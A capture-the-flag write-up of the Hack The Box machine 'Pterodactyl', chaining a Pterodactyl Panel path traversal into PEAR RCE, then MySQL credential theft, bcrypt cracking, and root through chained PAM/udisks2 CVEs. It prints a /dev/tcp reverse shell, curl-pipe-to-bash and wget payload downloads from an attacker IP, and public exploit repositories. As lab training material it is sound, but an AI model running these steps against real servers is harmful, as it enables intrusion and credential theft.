Pterodactyl WriteUp
Table of Contents
Pterodactyl is a π§ Medium difficulty Linux machine on Hack The Box, part of Season 10 (week 2). The name is no coincidence β the main attack vector is Pterodactyl Panel, a popular open-source game server manager widely deployed on the internet. The attack chain combines an unauthenticated path traversal that exposes PEAR and enables RCE, followed by database credential extraction, bcrypt hash cracking to pivot to an SSH user, and root escalation by chaining CVE-2025-6018 (PAM) with CVE-2025-6019 (udisks2/libblockdev).
πΊοΈ Attack Chain
Nmap β Ports 22 (SSH) + 80 (nginx)
β
βΌ
Subdomain fuzzing β panel.pterodactyl.htb
β
βΌ
CVE-2025-49132 β Path Traversal on /locales/locale.json
β
βΌ
PEAR pearcmd.php β webshell write β RCE as www-data
β
βΌ
/var/www/pterodactyl/.env β MySQL credentials (pterodactyl:PteraPanel)
β
βΌ
MySQL β phil's bcrypt hash β john + rockyou.txt β phil's password
β
βΌ
SSH as phil β user.txt π©
β
βΌ
CVE-2025-6018 (PAM) β intermediate shell
β
βΌ
CVE-2025-6019 (udisks2 + XFS image) β root π΄
Pterodactyl is a machine that accurately reflects what happens when popular management software is deployed without keeping it updated. No authentication is required to exploit the entry point β CVE-2025-49132 is pre-auth with CVSS 9.8. The interesting part is the escalation: two chained 2025 CVEs in the system storage stack that aren’t widely known outside the Polkit/udisks world.
π Reconnaissance
Port Scan
Add the machine to /etc/hosts and run the scan in two phases:
echo "10.129.21.96 pterodactyl.htb" | sudo tee -a /etc/hosts
Phase 1 β Quick discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv pterodactyl.htb
Phase 2 β Versions and scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv pterodactyl.htb
| Port | Service | Detail |
|---|---|---|
22 | SSH | OpenSSH 9.6 |
80 | HTTP | nginx 1.21.5 / PHP 8.4.8 |
Ports 443 and 8080 appear closed. Port 80 redirects to http://pterodactyl.htb/, a static page about a Minecraft server.
Subdomain Fuzzing
The machine name is already a hint. Pterodactyl Panel is typically served on a panel. subdomain:
ffuf -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 145
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 367ms]
Add the subdomain:
echo "10.129.21.96 panel.pterodactyl.htb" | sudo tee -a /etc/hosts
π―
panel.pterodactyl.htbgives us the Pterodactyl Panel v1.11.x interface. The panel asks for credentials to log in, but we don’t need them.
π Initial Access β CVE-2025-49132
What is CVE-2025-49132?
π§ Concept: CVE-2025-49132 is an unauthenticated path traversal vulnerability in Pterodactyl Panel < 1.11.11. The
/locales/locale.jsonendpoint accepts thelocaleparameter without sufficient path validation, allowing traversal out of the locales directory to access arbitrary server files. Combined with the presence ofpearcmd.php(part of PHP PEAR), the path traversal becomes unauthenticated RCE β CVSS 9.8.
Confirming the vulnerability
git clone https://github.com/str1keboo/CVE-2025-49132
cd CVE-2025-49132
python CVE-2025-49132-PoC.py test http://panel.pterodactyl.htb
[+] Target appears vulnerable (Path: ../../../pterodactyl)
Extracting database credentials
Before going for RCE, the PoC lets us read configuration files. We read Laravel’s database configuration:
curl -G "http://panel.pterodactyl.htb/locales/locale.json" --data-urlencode "locale=../../../pterodactyl" --data-urlencode "namespace=config/database"
...
"username": "pterodactyl",
"password": "PteraPanel",
"database": "panel",
"host": "127.0.0.1:3306"
...
We also get the Laravel APP_KEY (AES-256-CBC), though we don’t need to forge sessions for this machine:
python CVE-2025-49132-PoC.py dump http://panel.pterodactyl.htb
[+] Laravel APP_KEY: base64:UaThTPQnUjrrK61o...MJqcbTSThY=
[+] Environment: production
[+] Cipher: AES-256-CBC
π‘ The base PoC only does path traversal. To turn it into a shell we need the RCE module that uses PEAR
pearcmd.phpand hex-encodes commands to bypass filters.
Reverse shell via PEAR
We use the extended exploit version with interactive shell support:
git clone https://github.com/malw0re/CVE-2025-49132-Mods.git
cd CVE-2025-49132-Mods
Prepare the payload and listener:
# Terminal 1 - reverse shell listener
penelope -p 8443
# Terminal 2 - HTTP server to serve the payload
echo 'bash -i >& /dev/tcp/10.10.14.150/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 3 - launch the exploit
python ape1.py --host panel.pterodactyl.htb --interactive
Once inside the exploit shell, download and execute the payload:
curl 10.10.14.150/shell.sh | bash
www-data@pterodactyl:/var/www/pterodactyl/public$
β RCE achieved as
www-data. The internal mechanism usespearcmd.php config-createto write a PHP file with hex-encoded commands to/tmp, then requests it via HTTP for the server to execute.
π Pivot to User β MySQL Credentials β phil
Reading the .env file
From the www-data shell, Laravel’s .env file confirms the credentials we already obtained:
cat /var/www/pterodactyl/.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
Extracting hashes from MySQL
/usr/bin/mariadb -h 127.0.0.1 -u pterodactyl -pPteraPanel -e "SELECT email, username, password FROM panel.users;"
+------------------------------+--------------+--------------------------------------------------------------+
| email | username | password |
+------------------------------+--------------+--------------------------------------------------------------+
| headmonitor@pterodactyl.htb | headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3@pterodactyl.htb | phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+------------------------------+--------------+--------------------------------------------------------------+
Cracking the hash with John
echo '$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi' > hash_phileasfogg3.txt
john hash_phileasfogg3.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
!QAZ2wsx (?)
1g 0:00:00:53 DONE
SSH access as phil
ssh phileasfogg3@pterodactyl.htb # !QAZ2wsx
π© User Flag
cat /home/phileasfogg3/user.txt
π§ Privilege Escalation β CVE-2025-6018 + CVE-2025-6019
Identifying the vector
Reviewing running processes we see the udisks2 daemon active. A search leads us to two chained 2025 CVEs:
π§ Concept: CVE-2025-6018 injects malicious XDG variables via
pam_env.soduring SSH login, makingsystemd-logindmark the session asActive. Polkit, which trusts logind, grantsallow_activepermissions, including loop device mounting via udisks2. CVE-2025-6019 exploits a race condition in libblockdev: during aFilesystem.CheckD-Bus call, udisks2 temporarily mounts the image without thenosuidflag. A C binary (catcher) monitors/proc/mountsin real time and executes the SUID root binary from the image before it gets unmounted.
On Kali β Preparing the artifacts
Clone the repository and run build_poc.sh, which statically compiles the C binary catcher, creates a 400MB XFS image, mounts it, injects a SUID root binary inside, and unmounts it:
git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC.git
cd CVE-2025-6018-6019-PoC
chmod +x build_poc.sh
./build_poc.sh
[*] Compiling catcher binary (static)...
[*] Creating XFS filesystem image (400MB)...
[*] Mounting image and injecting SUID shell...
[*] Done. Artifacts ready: exploit.img, catcher
π‘
build_poc.shcompilesshell.cwithgcc -staticand copies it into the XFS image withchmod 4755. The static binary ensures compatibility with the target machine without depending on its libraries.
Serve the three files:
cp exploit.img catcher exploit.sh ~/http/
goshs -d ~/http -p 80 -i 0.0.0.0
On the victim β CVE-2025-6018 (activating allow_active session)
By default, Polkit blocks privileged operations for SSH sessions. We write the XDG variables that trick logind into marking the session as active on a physical seat:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
Log out and back in via SSH so PAM loads the file:
exit
ssh phileasfogg3@pterodactyl.htb # !QAZ2wsx
Verify the session is active:
loginctl show-session $XDG_SESSION_ID | grep Active
Active=yes
β With
Active=yes, Polkit grantsallow_activeand udisks2 accepts loop device mounting without prompting for root password.
On the victim β CVE-2025-6019 (race condition β root)
Download the artifacts:
cd /tmp
wget http://10.10.14.150/exploit.img
wget http://10.10.14.150/exploit.sh
wget http://10.10.14.150/catcher
chmod +x exploit.sh catcher
Launch the exploit:
./exploit.sh
[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger (Wait 2s)...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
[*] (BG) Setting up loop device...
[*] (BG) Triggering Filesystem.Check on /org/freedesktop/UDisks2/block_devices/loop3...
[!!!] HIT! Mounted at: /tmp/blockdev.NTXKL3
pterodactyl:/tmp# whoami
root
β Root shell.
catcherdetects the temporary mount in/proc/mountsand executes the SUID binary before udisks2 unmounts it. The race condition is milliseconds wide β the C binary compiled statically is essential for winning it reliably.
π΄ Root Flag
cat /root/root.txt
π Attack Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap, ffuf | Subdomain panel.pterodactyl.htb |
| 2 | CVE-2025-49132 (Path Traversal) | CVE-2025-49132-PoC.py | DB credentials + Laravel APP_KEY |
| 3 | PEAR RCE (pre-auth) | ape1.py | Shell as www-data |
| 4 | .env read + MySQL | mariadb CLI | phileasfogg3 bcrypt hash |
| 5 | bcrypt cracking | john + rockyou.txt | Password: !QAZ2wsx |
| 6 | SSH | ssh | Shell as phileasfogg3 + user.txt π© |
| 7 | CVE-2025-6018 (PAM β .pam_environment) | manual | Polkit allow_active enabled |
| 8 | CVE-2025-6019 (udisks2 race condition) | exploit.sh + catcher + exploit.img | Shell as root + root.txt π΄ |
See you in the next challenge.
